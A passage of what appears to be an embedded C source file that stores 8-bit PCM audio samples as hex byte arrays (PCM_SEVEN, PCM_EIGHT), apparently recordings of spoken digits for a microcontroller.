83,0x7f,0x78,0x79,0x75,0x70,0x6e\n,0x6b,0x6b,0x6e,0x6a,0x6c,0x70,0x6f,0x6f,0x6d,0x6b,0x68,0x70,0x7e,0x6c,0x75,0x92,0x85,0x89,0x99,0x9b,0x9e,0x96,0x97,0x9c,0x8b,0x84,0x84,0x81,0x7a,0x74,0x7a,0x7d\n,0x7d,0x7c,0x85,0x8e,0x89,0x89,0x8f,0x8b,0x89,0x83,0x80,0x82,0x7e,0x7a,0x7a,0x7d,0x81,0x7d,0x81,0x8a,0x89,0x88,0x8c,0x8f,0x8b,0x87,0x88,0x86,0x80,0x7e,0x80,0x7d\n,0x79,0x7b,0x7d,0x7a,0x79,0x7c,0x7a,0x7a,0x7c,0x7d,0x7e,0x80,0x81,0x83,0x85,0x82,0x82,0x85,0x81,0x7d,0x7e,0x7c,0x7a,0x78,0x76,0x77,0x77,0x77,0x78,0x7a,0x7b,0x7c\n,0x7d,0x80,0x80,0x7f,0x7e,0x7e,0x7e,0x7a,0x79,0x79,0x76,0x76,0x77,0x77,0x79,0x78,0x7a,0x7e,0x7c,0x7d,0x80,0x80,0x7e,0x7d,0x7d,0x7c,0x79,0x78,0x78,0x77,0x76,0x77\n,0x78,0x7a,0x7c,0x7c,0x81,0x84,0x83,0x85,0x88,0x87,0x85,0x84,0x82,0x80,0x7f,0x7c,0x7d,0x7f,0x7d,0x7f,0x84,0x85,0x87,0x8a,0x8c,0x8d,0x8d,0x8c,0x8c,0x89,0x84,0x82\n,0x80,0x7d,0x7c,0x7a,0x7b,0x7d,0x7c,0x7d,0x80,0x81,0x80,0x81,0x81,0x81,0x7f,0x7c,0x7d,0x7d,0x7a,0x7c,0x7e,0x7d,0x7f,0x80,0x81,0x82,0x81,0x82,0x83,0x83,0x81,0x82\n,0x83,0x81,0x80,0x81,0x80,0x7f,0x7f,0x7f,0x7e,0x7d,0x7d,0x7e,0x7e,0x7d,0x7d,0x7f,0x7f,0x7e,0x7f,0x81,0x81,0x81,0x82,0x83,0x82,0x81,0x81,0x81,0x80,0x7f,0x80,0x81\n,0x80,0x81,0x82,0x81,0x82,0x82,0x81,0x82,0x81,0x7e,0x7f,0x7e,0x7c,0x7c,0x7b,0x7a,0x7a,0x79,0x7a,0x7b,0x7a,0x79,0x7b,0x7b,0x79,0x79,0x7b,0x7a,0x79,0x79,0x7b,0x7c\n,0x7c,0x7c,0x7f,0x80,0x7f,0x7f,0x81,0x80,0x7e,0x7f,0x7f,0x7e,0x7c,0x7c,0x7d,0x7d,0x7b,0x7c,0x7f,0x7f,0x7e,0x80,0x83,0x82,0x82,0x82,0x83,0x84,0x83,0x82,0x85,0x85\n,0x82,0x83,0x85,0x83,0x81,0x82,0x82,0x82,0x81,0x81,0x83,0x83,0x83,0x84,0x84,0x83,0x83,0x83,0x83,0x82,0x82,0x81,0x81,0x80,0x7f,0x80,0x7f,0x7e,0x7f,0x80,0x7f,0x7f\n,0x80,0x81,0x81,0x81,0x81,0x82,0x82,0x80,0x80,0x81,0x80,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x7f,0x7f,0x80,0x81,0x81,0x81,0x83,0x83,0x82,0x82,0x81,0x81,0x80,0x7f\n,0x7f,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7e,0x7f,0x80,0x80,0x80,0x81,0x80,0x7f,0x7e,0x7e,0x7d,0x7c,0x7b,0x7a,0x7a,0x7a,0x7a,0x7a,0x7c,0x7b,0x7c\n,0x7d,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7c,0x7c,0x7c,0x7c,0x7b,0x7d,0x7e,0x7e,0x7e,0x7f,0x7f,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x82,0x81,0x81,0x82,0x81,0x80,0x81\n,0x81,0x82,0x82,0x82,0x83,0x84,0x84,0x84,0x84,0x84,0x84,0x83,0x83,0x83,0x83,0x82,0x82,0x82,0x83,0x82,0x83,0x83,0x82,0x83,0x83,0x83,0x83,0x82,0x82,0x81,0x81,0x81\n,0x80,0x80,0x80,0x7f,0x80,0x80,0x7f,0x80,0x80,0x80,0x7f,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7f,0x7f,0x7e,0x7f,0x7f,0x80,0x7f,0x80,0x81,0x80,0x7f,0x80,0x80\n,0x7f,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7e,0x7e,0x7e,0x7f,0x7f,0x7e,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7d,0x7e,0x7e,0x7d,0x7d,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d\n,0x7d,0x7d,0x7e,0x7d,0x7d,0x7e,0x7e,0x7e,0x7e,0x7d,0x7e,0x7e,0x7d,0x7e,0x7e,0x7d,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x80,0x80,0x7f,0x7f,0x80,0x7f,0x7f,0x7e,0x7f,0x7f\n,0x7e,0x7f,0x80,0x80,0x80,0x80,0x81,0x82,0x82,0x82,0x83,0x83,0x83,0x83,0x83,0x83,0x82,0x82,0x82,0x81,0x81,0x81,0x81,0x80,0x81,0x80,0x80,0x81,0x81,0x81,0x81,0x81\n,0x81,0x82,0x81,0x80,0x81,0x81,0x81,0x81,0x81,0x80,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f\n,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x7f,0x7e,0x7e,0x7f,0x7e,0x7d,0x7d,0x7e,0x7f,0x7f,0x7e,0x7d,0x83,0x85,0x80,0x7c,0x7d,0x82,0x83,0x7c,0x79,0x7c,0x80,0x7f,0x7b\n,0x7b,0x7f,0x80,0x7f,0x7e,0x7d,0x7e,0x7f,0x7e,0x7d,0x7d,0x7d,0x7e,0x7d,0x7c,0x7d,0x7f,0x7e,0x7d,0x7f,0x81,0x80,0x7e,0x7f,0x80,0x81,0x7e,0x7e,0x80,0x81,0x80,0x80\n,0x80,0x81,0x80,0x7f,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x83,0x83,0x81,0x80,0x80,0x83,0x83,0x80,0x7e,0x7f,0x81\n,0x80,0x7e,0x7e,0x80,0x81,0x7f,0x7e,0x80,0x82,0x80,0x7e,0x7f,0x81,0x80,0x7f,0x7e,0x7f,0x80,0x7f,0x7e,0x7f,0x80,0x81,0x7f,0x7f,0x80,0x81,0x80,0x7e,0x7f,0x80,0x7f\n,0x7e,0x7d,0x7f,0x80,0x7f,0x7e,0x7f,0x81,0x80,0x7f,0x7e,0x80,0x81,0x7f,0x7e,0x7e,0x80,0x80,0x7e,0x7e,0x80,0x81,0x7f,0x7e,0x80,0x81,0x7f,0x7e,0x7f,0x81,0x81,0x7e\n,0x7e,0x80,0x81,0x81,0x7e,0x7d,0x81,0x81,0x7e,0x7d,0x80,0x82,0x7f,0x7c,0x7f,0x82,0x81,0x7d,0x7d,0x82,0x82,0x7f,0x7c,0x7f,0x82,0x81,0x7d,0x7d,0x81,0x81,0x7e,0x7e\n,0x80,0x81,0x7f,0x7e,0x81,0x82,0x7f,0x7d,0x80,0x82,0x81,0x7e,0x7d,0x81,0x83,0x7f,0x7d,0x7f,0x81,0x81,0x80,0x7d,0x7f,0x81,0x80,0x7f,0x7f,0x80,0x80,0x81,0x7f,0x7e\n,0x80,0x81,0x80,0x80,0x7f,0x7f,0x80,0x80,0x80,0x7e,0x80,0x81,0x80,0x80,0x7e,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x80,0x81,0x7e,0x7e,0x81,0x80,0x80,0x7f,0x7f,0x81,0x80\n,0x7f};\n\nconst char unsigned PROGMEM PCM_SEVEN[]={\n0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x81,0x80,0x80,0x80,0x7f,0x7f,0x80,0x7e,0x7d,0x7d,0x7b,0x7c,0x7d,0x7b,0x7b,0x7c,0x7d,0x7d,0x7d,0x7d,0x7e,0x7f,0x7f\n,0x7e,0x7f,0x7f,0x7e,0x7e,0x7d,0x7d,0x7e,0x7e,0x7e,0x7f,0x80,0x81,0x82,0x84,0x86,0x87,0x88,0x89,0x8a,0x89,0x89,0x88,0x87,0x85,0x83,0x80,0x7d,0x7a,0x79,0x76,0x73\n,0x70,0x6d,0x69,0x65,0x61,0x5c,0x5a,0x56,0x54,0x57,0x5e,0x72,0x82,0x86,0x94,0xa3,0xad,0xb4,0xac,0xa1,0x9d,0x93,0x84,0x73,0x69,0x67,0x69,0x6d,0x75,0x88,0x9b,0xa6\n,0xae,0xb4,0xb5,0xb1,0xa5,0x96,0x8b,0x80,0x74,0x6d,0x6b,0x6f,0x77,0x7c,0x82,0x8a,0x90,0x8c,0x86,0x7c,0x6e,0x5b,0x42,0x2c,0x24,0x20,0x35,0x5e,0x62,0x77,0xa7,0xbb\n,0xd2,0xd8,0xbc,0xb9,0xb1,0x8c,0x67,0x4d,0x45,0x44,0x4a,0x55,0x63,0x87,0xa8,0xb1,0xb8,0xbe,0xba,0xb2,0x9d,0x7a,0x68,0x63,0x55,0x4f,0x56,0x66,0x7d,0x8c,0x97,0xae\n,0xbd,0xbb,0xb4,0xa9,0x9c,0x95,0x82,0x6f,0x6a,0x67,0x63,0x66,0x6a,0x6a,0x6c,0x68,0x5b,0x51,0x40,0x28,0x22,0x3f,0x64,0x5c,0x6a,0x94,0xb0,0xcf,0xcc,0xae,0xb5,0xb0\n,0x88,0x66,0x4d,0x48,0x4f,0x55,0x58,0x68,0x90,0xaa,0xab,0xaf,0xb3,0xb5,0xb2,0x97,0x7d,0x7d,0x7a,0x6c,0x67,0x6e,0x81,0x92,0x8d,0x92,0xa7,0xab,0xa7,0xa1,0x94,0x91\n,0x8b,0x70,0x63,0x64,0x5a,0x52,0x48,0x3b,0x3b,0x38,0x30,0x3d,0x76,0x8f,0x80,0x9c,0xb5,0xc2,0xce,0xa9,0x90,0xa0,0x8b,0x6b,0x5b,0x54,0x65,0x76,0x81,0x89,0x9e,0xbb\n,0xb7,0xa0,0x97,0x89,0x7b,0x6f,0x5b,0x5e,0x72,0x79,0x85,0x95,0x9f,0xab,0xa5,0x93,0x95,0x92,0x86,0x82,0x7f,0x83,0x90,0x91,0x8d,0x91,0x8e,0x84,0x7c,0x6a,0x59,0x4b\n,0x32,0x1a,0x08,0x00,0x21,0x7a,0x96,0x87,0xb5,0xd9,0xec,0xe8,0x9e,0x80,0x95,0x6a,0x3e,0x2c,0x35,0x65,0x84,0x8f,0xa0,0xc0,0xde,0xc9,0x9c,0x82,0x69,0x55,0x3c,0x2a\n,0x40,0x6c,0x83,0x97,0xad,0xbf,0xca,0xb2,0x8f,0x88,0x81,0x6f,0x69,0x68,0x79,0x95,0x98,0x9a,0xa4,0xa1,0x95,0x8b,0x79,0x6b,0x60,0x47,0x31,0x27,0x18,0x15,0x24,0x4f\n,0xa4,0xb1,0xa1,0xd3,0xe6,0xe0,0xc9,0x82,0x70,0x75,0x43,0x2f,0x3a,0x51,0x87,0xa6,0xb3,0xca,0xdb,0xdb,0xb6,0x82,0x67,0x4c,0x3a,0x2e,0x33,0x5b,0x86,0xa2,0xb4,0xc1\n,0xc7,0xc3,0xa0,0x7e,0x79,0x76,0x6e,0x74,0x7c,0x90,0xa9,0xa6,0xa1,0xa1,0x95,0x89,0x7d,0x67,0x5f,0x5d,0x53,0x49,0x42,0x3b,0x35,0x25,0x1f,0x43,0x98,0xb5,0x9a,0xbc\n,0xdf,0xe0,0xce,0x81,0x59,0x6c,0x4f,0x37,0x3d,0x4e,0x87,0xb4,0xb7,0xbe,0xc5,0xc5,0xa7,0x69,0x44,0x36,0x35,0x3b,0x35,0x56,0x96,0xb6,0xbe,0xb9,0xb6,0xb8,0x97,0x64\n,0x5f,0x6c,0x77,0x86,0x8d,0x9d,0xbb,0xbc,0xa9,0xa0,0x8c,0x7f,0x73,0x5b,0x54,0x61,0x5f,0x59,0x50,0x46,0x41,0x37,0x21,0x20,0x3a,0x8f,0xd0,0xa5,0xaf,0xe1,0xdf,0xcd\n,0x8d,0x44,0x5b,0x5c,0x40,0x4c,0x56,0x81,0xc4,0xcd,0xbe,0xb8,0xb0,0xa4,0x6f,0x41,0x33,0x33,0x46,0x53,0x63,0x91,0xbd,0xcc,0xc3,0xb5,0xaa,0x9b,0x7b,0x67,0x73,0x81\n,0x8c,0x9b,0xa1,0xa9,0xb3,0xa9,0x9c,0x8c,0x7e,0x79,0x74,0x6a,0x6d,0x6e,0x64,0x5c,0x4d,0x48,0x48,0x3f,0x31,0x32,0x43,0x7a,0xc0,0xb4,0x9f,0xca,0xd0,0xbc,0x9d,0x58\n,0x51,0x68,0x51,0x4f,0x5b,0x69,0x9b,0xbb,0xb4,0xad,0xa2,0x9b,0x88,0x5b,0x44,0x3c,0x42,0x57,0x64,0x79,0x9f,0xb9,0xc0,0xbc,0xae,0xa3,0x92,0x7a,0x70,0x73,0x76,0x7f\n,0x84,0x86,0x94,0x9f,0x9d,0x95,0x88,0x84,0x87,0x7d,0x6f,0x67,0x60,0x59,0x52,0x4c,0x49,0x47,0x42,0x3e,0x40,0x4c,0x7d,0xab,0xa2,0xa5,0xbf,0xbe,0xb9,0xa0,0x70,0x62\n,0x5d,0x50,0x54,0x55,0x61,0x87,0xa7,0xb7,0xb5,0xaa,0xaa,0x9c,0x83,0x6f,0x52,0x49,0x58,0x62,0x70,0x87,0x9b,0xb1,0xc2,0xc0,0xb3,0x9e,0x92,0x8c,0x7d,0x6f,0x6e,0x73\n,0x81,0x90,0x97,0xa2,0xa5,0xa1,0x9e,0x91,0x83,0x78,0x6e,0x66,0x5c,0x53,0x4d,0x4a,0x51,0x57,0x52,0x50,0x54,0x5d,0x78,0xa1,0xa2,0x93,0x9b,0x9c,0xa0,0x9e,0x82,0x6f\n,0x6f,0x6b,0x72,0x73,0x68,0x6d,0x7c,0x8c,0x97,0x92,0x8b,0x8f,0x90,0x8f,0x87,0x75,0x70,0x76,0x78,0x79,0x7b,0x7b,0x85,0x92,0x95,0x95,0x93,0x95,0x9b,0x96,0x8e,0x8a\n,0x86,0x88,0x87,0x7e,0x7e,0x80,0x81,0x86,0x89,0x87,0x83,0x7b,0x71,0x6d,0x69,0x66,0x64,0x64,0x65,0x66,0x64,0x61,0x5c,0x57,0x5b,0x6c,0x7a,0x79,0x7e,0x89,0x92,0xa0\n,0xa0,0x92,0x88,0x7f,0x79,0x79,0x6f,0x66,0x68,0x70,0x81,0x8e,0x93,0x98,0x9a,0x99,0x97,0x8e,0x84,0x7e,0x79,0x79,0x7c,0x7f,0x83,0x8a,0x91,0x95,0x95,0x96,0x97,0x97\n,0x94,0x8e,0x87,0x85,0x84,0x81,0x7f,0x82,0x87,0x89,0x89,0x8a,0x8c,0x8e,0x8c,0x86,0x80,0x7b,0x76,0x70,0x65,0x5b,0x59,0x5b,0x5c,0x5c,0x60,0x68,0x6d,0x71,0x7c,0x83\n,0x80,0x82,0x83,0x85,0x89,0x88,0x84,0x84,0x84,0x84,0x85,0x83,0x82,0x84,0x86,0x88,0x84,0x81,0x81,0x7e,0x7f,0x83,0x80,0x80,0x83,0x83,0x86,0x89,0x89,0x89,0x8b,0x89\n,0x85,0x83,0x82,0x82,0x83,0x83,0x82,0x82,0x85,0x88,0x8b,0x8b,0x89,0x88,0x89,0x89,0x88,0x83,0x7c,0x76,0x74,0x71,0x6c,0x68,0x67,0x69,0x6b,0x6c,0x69,0x67,0x68,0x68\n,0x67,0x65,0x62,0x66,0x71,0x77,0x78,0x7e,0x86,0x8e,0x94,0x93,0x8e,0x8d,0x8a,0x86,0x83,0x80,0x80,0x84,0x86,0x87,0x8b,0x8b,0x8c,0x8c,0x8a,0x8a,0x8a,0x89,0x8b,0x8a\n,0x89,0x89,0x8a,0x89,0x86,0x85,0x84,0x83,0x82,0x83,0x85,0x88,0x8c,0x8e,0x91,0x93,0x91,0x8f,0x8b,0x86,0x83,0x81,0x7e,0x7c,0x7b,0x7b,0x7b,0x78,0x75,0x73,0x72,0x70\n,0x6e,0x6c,0x6d,0x6e,0x6e,0x6d,0x6b,0x6a,0x6a,0x6a,0x68,0x69,0x70,0x73,0x75,0x7c,0x82,0x89,0x90,0x91,0x90,0x90,0x8e,0x8c,0x89,0x83,0x80,0x82,0x84,0x83,0x83,0x85\n,0x87,0x88,0x87,0x85,0x83,0x82,0x7f,0x7e,0x7e,0x7f,0x81,0x82,0x83,0x86,0x88,0x88,0x87,0x87,0x85,0x85,0x85,0x85,0x85,0x86,0x86,0x86,0x85,0x84,0x82,0x80,0x7d,0x79\n,0x78,0x77,0x74,0x73,0x73,0x71,0x71,0x71,0x71,0x71,0x70,0x6d,0x6c,0x6b,0x68,0x69,0x6a,0x6c,0x6e,0x74,0x7c,0x82,0x84,0x87,0x8c,0x8f,0x92,0x92,0x8f,0x8d,0x8e,0x8d\n,0x8b,0x86,0x84,0x85,0x86,0x86,0x85,0x84,0x87,0x88,0x88,0x88,0x87,0x87,0x88,0x85,0x83,0x82,0x83,0x84,0x85,0x85,0x86,0x88,0x89,0x8a,0x89,0x87,0x87,0x87,0x86,0x85\n,0x85,0x84,0x84,0x84,0x83,0x81,0x80,0x7d,0x79,0x77,0x75,0x74,0x73,0x72,0x71,0x72,0x73,0x73,0x73,0x72,0x6f,0x6b,0x69,0x66,0x65,0x64,0x64,0x68,0x72,0x7d,0x7f,0x82\n,0x8b,0x90,0x93,0x94,0x8e,0x88,0x88,0x86,0x84,0x82,0x7f,0x81,0x85,0x88,0x89,0x88,0x88,0x8a,0x88,0x83,0x80,0x7b,0x7a,0x7b,0x78,0x77,0x7a,0x7e,0x81,0x85,0x88,0x87\n,0x89,0x8b,0x8a,0x87,0x86,0x84,0x83,0x82,0x80,0x80,0x82,0x82,0x82,0x83,0x84,0x83,0x81,0x7d,0x7b,0x79,0x76,0x74,0x72,0x72,0x74,0x75,0x76,0x77,0x77,0x76,0x74,0x71\n,0x6e,0x6b,0x69,0x68,0x6a,0x74,0x81,0x84,0x86,0x90,0x97,0x9a,0x9c,0x94,0x8d,0x8f,0x8b,0x85,0x82,0x7f,0x81,0x87,0x89,0x8b,0x8a,0x8c,0x8f,0x8b,0x87,0x83,0x7c,0x7b\n,0x7d,0x78,0x77,0x7c,0x7d,0x81,0x87,0x87,0x86,0x8a,0x8c,0x8a,0x88,0x87,0x85,0x85,0x84,0x82,0x81,0x82,0x82,0x82,0x82,0x81,0x81,0x7f,0x7c,0x78,0x76,0x74,0x72,0x71\n,0x70,0x71,0x73,0x75,0x76,0x77,0x76,0x74,0x71,0x6c,0x68,0x64,0x62,0x63,0x67,0x74,0x7e,0x7e,0x87,0x91,0x93,0x97,0x94,0x89,0x89,0x88,0x81,0x80,0x7e,0x7e,0x85,0x8a\n,0x8c,0x8c,0x8c,0x8e,0x8c,0x85,0x81,0x7a,0x75,0x77,0x76,0x76,0x7a,0x7d,0x82,0x8a,0x8c,0x8a,0x8c,0x8d,0x8c,0x8b,0x87,0x85,0x86,0x86,0x85,0x85,0x86,0x87,0x89,0x87\n,0x86,0x86,0x83,0x80,0x7e,0x7b,0x78,0x76,0x75,0x75,0x76,0x77,0x78,0x78,0x79,0x79,0x77,0x74,0x70,0x6b,0x68,0x65,0x63,0x64,0x67,0x6d,0x7a,0x82,0x84,0x8c,0x92,0x95\n,0x98,0x92,0x8a,0x8b,0x88,0x83,0x82,0x7f,0x80,0x86,0x88,0x8a,0x8b,0x8b,0x8c,0x89,0x85,0x81,0x7a,0x78,0x79,0x78,0x77,0x7b,0x7d,0x83,0x89,0x89,0x89,0x8d,0x8e,0x8d\n,0x8c,0x88,0x87,0x87,0x84,0x83,0x83,0x82,0x84,0x84,0x82,0x81,0x81,0x7f,0x7c,0x79,0x76,0x74,0x73,0x71,0x72,0x73,0x72,0x74,0x76,0x76,0x76,0x76,0x75,0x73,0x71,0x6e\n,0x6d,0x6d,0x6d,0x6d,0x6e,0x71,0x77,0x7b,0x7d,0x80,0x83,0x87,0x8a,0x8a,0x8a,0x8a,0x8a,0x8a,0x88,0x86,0x86,0x87,0x87,0x88,0x87,0x86,0x88,0x88,0x87,0x86,0x83,0x82\n,0x83,0x82,0x81,0x81,0x82,0x83,0x85,0x86,0x87,0x88,0x8a,0x8b,0x8b,0x8b,0x8b,0x8a,0x8a,0x89,0x88,0x87,0x86,0x85,0x83,0x82,0x81,0x7f,0x7e,0x7c,0x7a,0x79,0x78,0x78\n,0x78,0x77,0x76,0x77,0x77,0x77,0x76,0x75,0x75,0x75,0x74,0x72,0x71,0x71,0x70,0x6f,0x6e,0x6f,0x72,0x74,0x76,0x79,0x7e,0x83,0x87,0x8a,0x8c,0x8d,0x8e,0x8e,0x8c,0x8b\n,0x89,0x87,0x86,0x86,0x85,0x84,0x84,0x85,0x84,0x84,0x83,0x82,0x82,0x82,0x80,0x7f,0x7e,0x7f,0x7f,0x7f,0x7f,0x80,0x82,0x84,0x85,0x85,0x86,0x87,0x88,0x87,0x86,0x85\n,0x85,0x84,0x83,0x81,0x80,0x80,0x7f,0x7e,0x7c,0x7b,0x7a,0x79,0x78,0x77,0x77,0x77,0x77,0x77,0x77,0x77,0x78,0x77,0x77,0x75,0x74,0x73,0x71,0x70,0x70,0x70,0x72,0x74\n,0x77,0x7a,0x80,0x84,0x88,0x8b,0x8d,0x8e,0x90,0x8f,0x8d,0x8c,0x8a,0x89,0x89,0x88,0x87,0x87,0x88,0x88,0x87,0x86,0x85,0x84,0x83,0x81,0x7f,0x7d,0x7d,0x7d,0x7e,0x7f\n,0x7f,0x81,0x83,0x85,0x86,0x86,0x86,0x87,0x87,0x86,0x85,0x85,0x85,0x85,0x84,0x83,0x83,0x82,0x81,0x80,0x7e,0x7c,0x7b,0x7a,0x79,0x77,0x77,0x77,0x77,0x77,0x78,0x78\n,0x79,0x79,0x78,0x77,0x76,0x75,0x74,0x73,0x72,0x71,0x72,0x74,0x77,0x7a,0x7d,0x80,0x84,0x87,0x89,0x8a,0x8b,0x8b,0x8a,0x89,0x88,0x87,0x86,0x86,0x86,0x86,0x86,0x85\n,0x85,0x84,0x83,0x82,0x80,0x7f,0x7d,0x7c,0x7c,0x7c,0x7c,0x7d,0x7e,0x7f,0x81,0x81,0x82,0x84,0x84,0x84,0x84,0x85,0x85,0x85,0x85,0x84,0x84,0x84,0x83,0x83,0x81,0x80\n,0x7f,0x7e,0x7d,0x7b,0x7a,0x7a,0x79,0x79,0x79,0x79,0x7a,0x7a,0x7b,0x7b,0x7b,0x7b,0x7b,0x7a,0x7a,0x79,0x78,0x78,0x78,0x77,0x78,0x79,0x7a,0x7c,0x7e,0x80,0x82,0x84\n,0x86,0x87,0x88,0x88,0x89,0x89,0x88,0x87,0x87,0x87,0x86,0x86,0x85,0x84,0x84,0x83,0x82,0x81,0x80,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7f,0x7f,0x80,0x80,0x80,0x81,0x82\n,0x83,0x83,0x83,0x84,0x84,0x84,0x83,0x83,0x82,0x81,0x81,0x7f,0x7e,0x7e,0x7d,0x7c,0x7c,0x7b,0x7b,0x7b,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a\n,0x7a,0x7a,0x79,0x79,0x78,0x79,0x79,0x79,0x7a,0x7b,0x7d,0x7e,0x80,0x81,0x82,0x84,0x86,0x86,0x87,0x88,0x88,0x88,0x88,0x87,0x86,0x86,0x85,0x84,0x83,0x82,0x82,0x81\n,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x81,0x82,0x82,0x82,0x83,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x83,0x82,0x82,0x80,0x7f,0x7e,0x7d,0x7c,0x7b\n,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x7b,0x7b,0x7b,0x7c,0x7d,0x7d,0x7e,0x7f,0x7f,0x80,0x81,0x82,0x83,0x84\n,0x84,0x85,0x86,0x86,0x86,0x87,0x87,0x87,0x86,0x86,0x86,0x85,0x85,0x84,0x83,0x83,0x82,0x82,0x81,0x81,0x81,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e\n,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7c,0x7c,0x7c,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7b,0x7c\n,0x7c,0x7d,0x7d,0x7e,0x7f,0x80,0x80,0x81,0x82,0x82,0x83,0x83,0x84,0x85,0x85,0x85,0x86,0x86,0x86,0x86,0x86,0x87,0x87,0x86,0x86,0x86,0x86,0x85,0x85,0x84,0x83,0x82\n,0x82,0x81,0x81,0x80,0x80,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7c,0x7c,0x7c\n,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7d,0x7d,0x7d,0x7e,0x7e,0x7f,0x7f,0x80,0x80,0x81,0x81,0x81,0x82,0x82,0x82,0x83,0x83,0x83,0x83,0x84,0x84,0x84,0x84\n,0x84,0x84,0x84,0x83,0x83,0x83,0x83,0x83,0x82,0x82,0x82,0x81,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d\n,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x81,0x81,0x81,0x82,0x82,0x82\n,0x82,0x82,0x83,0x83,0x83,0x83,0x83,0x83,0x83,0x82,0x82,0x82,0x81};\n\n\nconst char unsigned PROGMEM PCM_EIGHT[]={\n0x7e,0x80,0x7f,0x80,0x81,0x82,0x81,0x83,0x84,0x82,0x83,0x83,0x81,0x81,0x81,0x7e,0x7f,0x7f,0x7e,0x7e,0x7e,0x80,0x80,0x80,0x82,0x82,0x81,0x83,0x82,0x81,0x82,0x81,0x80\n,0x80,0x80,0x80,0x80,0x81,0x82,0x82,0x83,0x84,0x83,0x84,0x83,0x82,0x81,0x80,0x7f,0x7d,0x7d,0x7d,0x7d,0x7c,0x7c,0x7e,0x7c,0x7f,0x80,0x7e,0x81,0x81,0x80,0x81,0x81\n,0x81,0x7f,0x7f,0x7f,0x7b,0x7d,0x7b,0x79,0x7a,0x7a,0x79,0x7a,0x7b,0x7a,0x7b,0x7c,0x7c,0x7a,0x7c,0x7c,0x7a,0x79,0x7b,0x79,0x78,0x7a,0x78,0x78,0x7a,0x7a,0x79,0x7a\n,0x7d,0x7a,0x7a,0x7d,0x7c,0x7b,0x7c,0x7c,0x7a,0x7c,0x7c,0x79,0x7d,0x7e,0x7b,0x7f,0x80,0x7f,0x81,0x82,0x81,0x83,0x83,0x82,0x83,0x82,0x81,0x82,0x81,0x81,0x84,0x82\n,0x84,0x86,0x84,0x86,0x89,0x85,0x88,0x88,0x85,0x89,0x87,0x85,0x88,0x85,0x85,0x88,0x83,0x85,0x86,0x82,0x84,0x83,0x81,0x82,0x82,0x80,0x82,0x81,0x80,0x82,0x81,0x80\n,0x80,0x81,0x80,0x80,0x80,0x81,0x81,0x80,0x82,0x83,0x83,0x84,0x85,0x83,0x84,0x83,0x81,0x80,0x80,0x7e,0x7c,0x7e,0x7a,0x7a,0x7b,0x79,0x79,0x7b,0x79,0x7b,0x7b,0x7a\n,0x7c,0x7b,0x7b,0x7a,0x7b,0x7a,0x79,0x79,0x7a,0x78,0x7a,0x7c,0x7b,0x7e,0x80,0x80,0x83,0x84,0x83,0x85,0x83,0x83,0x81,0x81,0x81,0x7f,0x7f,0x81,0x7f,0x80,0x81,0x7e\n,0x7d,0x7b,0x75,0x70,0x69,0x61,0x59,0x52,0x4c,0x4a,0x46,0x51,0x59,0x56,0x7a,0x7b,0x87,0xa7,0xa6,0xb0,0xbc,0xb6,0xae,0xac,0x99,0x8d,0x7c,0x72,0x66,0x60,0x5f,0x68\n,0x6c,0x7a,0x91,0x96,0xab,0xb9,0xbb,0xc0,0xc2,0xb3,0xab,0x9f,0x8c,0x7e,0x71,0x67,0x5d,0x58,0x59,0x56,0x56,0x5b,0x59,0x58,0x5d,0x5a,0x59,0x65,0x64,0x68,0x7d,0x80\n,0x88,0xa1,0x9f,0xa9,0xb3,0xad,0xa9,0xa5,0x99,0x8c,0x82,0x76,0x6f,0x65,0x68,0x66,0x68,0x71,0x7a,0x7e,0x8a,0x97,0x94,0xa1,0xa7,0x9d,0xa4,0xa6,0x94,0x99,0x94,0x88\n,0x8a,0x87,0x81,0x84,0x85,0x82,0x83,0x81,0x7d,0x77,0x6d,0x63,0x52,0x47,0x3a,0x2d,0x26,0x2f,0x2a,0x2e,0x59,0x52,0x6f,0x9a,0x96,0xb4,0xc8,0xc4,0xc6,0xc9,0xb4,0xa6\n,0x96,0x82,0x6e,0x5d,0x57,0x4a,0x